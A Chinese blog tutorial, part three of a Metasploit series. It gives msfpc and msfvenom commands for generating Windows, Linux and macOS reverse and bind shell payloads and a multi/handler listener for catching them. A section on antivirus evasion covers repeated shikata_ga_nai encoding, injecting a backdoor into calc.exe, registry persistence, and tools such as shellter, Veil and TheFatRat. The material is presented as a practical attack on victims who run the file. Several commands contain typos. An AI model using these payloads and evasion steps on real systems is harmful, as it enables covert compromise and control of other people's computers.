玩轉Metasploit(三):蝴蝶翅膀的發散

昔者莊周夢爲蝴蝶,栩栩然蝴蝶也,自喻適志與不知周也。俄然覺,則蘧蘧然周也。不知周之夢蝴蝶,蝴蝶之夢爲周與?周與蝴蝶,則必有分矣。此之謂物化。


exploit/multi/handler

這是一份神奇的模塊,我們叫它通用監聽模塊。它的官方名曰Generic Payload Handler(通用類型的載荷調用者)。

這裏寫圖片描述

它存儲在/usr/share/metasploit-framework/modules/exploits/multi/handler.rc(如圖所示)

這裏寫圖片描述

所在的那層目錄只有它一個文件類型(其它均爲文件夾),其特殊性從此也可見一斑。既然名爲Gereric,它就適用所有平臺(Windows、Linux、OSX等)。 此模塊是一個存根,它將metasploit有效負載系統的所有功能提供給已在框架外部啓動的漏洞利用。在實際使用中,我們只需要set它的payload和相關參數,然後exploit即可。再次重申,exploit/multi/handler和普通module不同之處就在於它的“通用性”,這一點請讀者慢慢體會。


msfpc

msfpc全稱metasploit-framework payload generator,專門負責自動化生成payload的工作,它是後面要講的msfvenom的封裝版本,在操作上更友好。

它的友好主要體現在:1. 可以直接輸入網卡名,代替網卡的IP地址、2. 自動化偵測網卡的外網IP地址、3. 循環、4. 實現批量生成和選擇性生產。

命令用法

/usr/bin/msfpc <TYPE> (<DOMAIN/IP>) (<PORT>) (<CMD/MSF>) (<BIND/REVERSE>) (<STAGED/STAGELESS>) (<TCP/HTTP/HTTPS/FIND_PORT>) (<BATCH/LOOP>) (<VERBOSE>)

其中第一個參數既可以是真正的類型名,也可以是該類型文件的後綴名;第二個參數既可以是真正的ip地址,也可以是其指代的名稱(如wan表示公網ip)。從msfpc輸出可以看出,msfpc其實是封裝了msfvenom,你可以輸出的msfvenom命令進行校對。

0x01:Windows + 手動IP

msfpc windows 192.168.1.5

這裏寫圖片描述

這裏寫圖片描述

0x02:Linux + wlan00的IP + 4445端口 + reverse shell

msfpc elf wlan0 4445 reverse

這裏寫圖片描述

這裏寫圖片描述

msfpc會生成兩個文件:其中一個是用來攻擊的payload(注意擴展名),另一個是擴展名爲.rc的handler。

命令

msfconsole -q -r $該handler

將執行同時生成的payload

這裏寫圖片描述

這裏寫圖片描述

在實際使用中有兩點提請注意:1. 參數之間沒有順序、2. 最新版本貌似不再支持LOOP/BATCH選項。除了在新的命令行窗口啓動msfpc,你也可以從msfconsole啓動,啓動方式是一模一樣的。


msfvenom

msfvenom(巧記:venom=毒液,加上msf前綴)是metasploit套件的標準payload生成器,基於bash編寫,在操作上比msfpc繁瑣,但是功能也相對更強大。在新版本中msfvenom可以看成是msfpayload和msfencode的結合。這麼說吧,msfpc是新手和懶人的福音,那msfvenom就是爲高手準備的——是啊,學完這節課你也就正大踏步的走在從小白到高手的康莊大道上啦。

這裏寫圖片描述

各個參數的中文釋義如下

l:列出指定類型所有的模塊;這些類型包括payloads、encoders、nops、platforms、formats、all。如,-l nops
p:使用指定payload;這些payload都能用l參數看到。如,-p linux/x86/meterpreter/reverse_tcp
f:指定生成的文件格式。如,-f exe
e:指定編碼方式。如,-e x86/unicode_upper
o:輸出到文件,即文件重定向。
b:壞字符,即在payload利用文件中避免出現的字符。
i:使用指定方式編碼payload的次數。
c:指定一個win32的shellcode包含到結果文件。
x:模版,跟改模版文件的文件路徑。
t:用於從終端讀入payload,後面跟最大等待時間。

要是講生成簡單的腳本,其實你完全可以用msfpc代替,畢竟工具的作用就是解放雙手,能動腦子就不要動手,這是最基本的原則。基本指令格式和msfpc相似,無非多了個文件重定向云云,下面直接上實例。

0x01:入侵Windows的回送shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

0x02:入侵Linux的綁定shell

msfvenom -p linux/x86/meterpreter/bind_tcp RHOST=<Remote IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

0x03:入侵Mac的回送shell

msfvenom -p paylad osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

下面我們使用上面生成的那個Windows入侵payload來完成一次exploitation。要知道因爲我們生成的payload利用文件是針對目標主機的,所以這應該是一次客戶端攻擊,比如當對方點擊某個可執行文件,或者下載某個鏈接,將啓動我們的攻擊程式。具體命令請參考下面的實例

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.14 LPORT=4555 -f exe > /root/shell.exe

這裏寫圖片描述

對於需要卻沒有選擇的參數,msfvenom會自動替我們選擇:這裏缺少參數platform,根據默認選擇Msf::Module::Platform::Windows,缺少參數arch,根據默認選擇x86,當你在命令行執行以下命令

file /root/shell.exe

你會得到以下信息

shell.exe: PE32 excutable (GUI) Intel 80386, for Windows

接下來就要用到文章最前講的那個通用監聽模塊exploit/multi/handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.5
set LPORT 4555

然後exploit之,一般都是用j參數掛到後臺(因爲暫時用不到)

這裏寫圖片描述

當客戶端(目標靶機)執行那個我們生成的可執行文件時,我們將開啓一個新的session,同時丟棄原來的那個job,可以看成是原來的那個job生成了新的這個session。

這裏寫圖片描述


免殺技術(概)

由於普通的木馬很容易被系統自帶的防火牆或殺毒軟件識別而被殺死,免殺技術應運而生。所謂免殺,即免於被殺,要想方設法讓自己活下來,通常這句話的等價語意就是不被殺軟等偵測系統(anti virus,簡稱AV)識別。免殺就是研究反偵察的一門技術。

0x01:metasploit內置:手動編譯payload

不問爲什麼,只管怎麼辦。具體原理參見我的後續博文,屆時我將另開一篇博文專門介紹那個啥的來龍去脈,這裏你只管用就是。還記得嗎,msfvenom是msfpayload和msfencode的集成版本,後兩個工具現已經棄用

msfvenom -p windwos/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b\x00’ -f c > shellcode.c

上述命令的關鍵在於參數e,它爲生成的payload指定編碼方式,不要小瞧,它的作用其實大得很,一般的識別系統它都能繞過。爲了增加編碼次數,實用參數i用前面指定的編碼方式進行五次編碼,這樣也能更好的隱藏自己。所謂encode,不過是給生成的shellcode加一層殼罷了。

然後參數x用的也比較多,還記得麼,該參數用來設置“模版”,通俗講就是設置被注入後門的軟件,然後生成一個加後門的新程序,從外貌上和源文件完全一樣,不過……(你懂得)因爲這樣會導致源文件的正常功能無法使用,爲了解決這個問題,我們使用k參數在創建的新線程裏執行後門,如此這般源文件也還能正常使用。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.1681.5 LPORT=4444 -x calc.exe -k -f exe > /root/calc.exe

另外告訴大家一個不是技巧的技巧,在選擇payload的時候也是有訣竅的。比如我喜歡寫windows/meterpreter/reverse_tcp,如果被殺死了,可以試試windows/meterpreter/reverse_tcp_rc4,後者在前者的基礎上多了一層加密。正常情況爲什麼不用呢,因爲沒有必要。另外
有人說了,persistence後門也不夠隱蔽,那行也有替代,本來是run post/windows/manage/persistence_exe,現在是use exploit/windows/local/registry_persistence。都是名字暴露了它的本性呀,其它的persistence功能大家也可以自己試試看。這裏我打開exploit/windows/local/registry_persistence供大家觀賞,不要在意爲什麼顏色換了,因爲這是我的Mac本子。你可以
手動set你需要的payload,然後exploit之,這樣的隱蔽性較直接run那個post也許要好一些也說不定。

這裏寫圖片描述

這裏寫圖片描述

0x02:外部工具幫忙:君子性非異也

《勸學》有云“君子性非異也,善假於物也”。我們的metasploit固然強大,但是在針對某些細小的特定問題是,總有其短板之處,不是說它做的不好,但是在有些專門從事這樣工作的第三方工具來說,就好比是一個全才遇上了一個專家,反觀自己難免存在疏漏之處。

在Linux系統下運作的免殺編碼工具有很多,下面以其中四款我認爲較爲突出者作爲講解對象,因Linux的本子不在身邊,就不放圖了,屆時補上。排名不分先後。

首先是shellter,它採用了動態shellcode注入來實現免殺的效果,當用戶打開被植入後門的軟件時,只有觸發一定的操作纔會啓動後門。原理也好懂,即先生成一個dll文件,再將其注入到某個文件中運行。它是一個項目(名曰shellterproject),這是其官網:https://www.shellterproject.com/,它包括了shellter下載界面。

接着是veil,它是一些工具的集合,你可以在https://github.com/Veil-Framework/Veil找到它的項目源碼。比起shellter,它更像是一個框架,一些基本的東西它幫你弄好了,你只需要點點劃劃就可以了。

然後是avet,也是一個比較出名的工具,這是它的項目地址:https://github.com/govolution/avet,據說在某年的黑客大會上看見過它。

最後我想介紹一款懶人黨的福利,它集成了基本的payload免殺技術,合理使用可以繞過一部分偵測系統,傻瓜式操作被有人稱爲神器,它的名字叫TheFatRat,同樣沒圖片,要不你自行腦補(誤)?它的項目地址是:https://github.com/Screetsec/TheFatRat,因爲是第三方軟件,同樣需要你手動安裝。

說一句題外話,總之免殺就是要繞過AV的檢測,你也可以返璞歸真,使用系統自帶的工具,比如upx,這是一款Kali內置的命令行工具,這是一個免費的開源可執行打包程序,支持來自不同操作系統的多種文件格式。想想看,是不是可以用來加殼。

以上不過是一些經驗之談罷了,另考慮到免殺技術的重要性,我將在近日撰寫一篇博文,來專門討論免殺技術的原理和使用竅門,至於細節部分,嗯……屆時到那篇文章去找好了。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章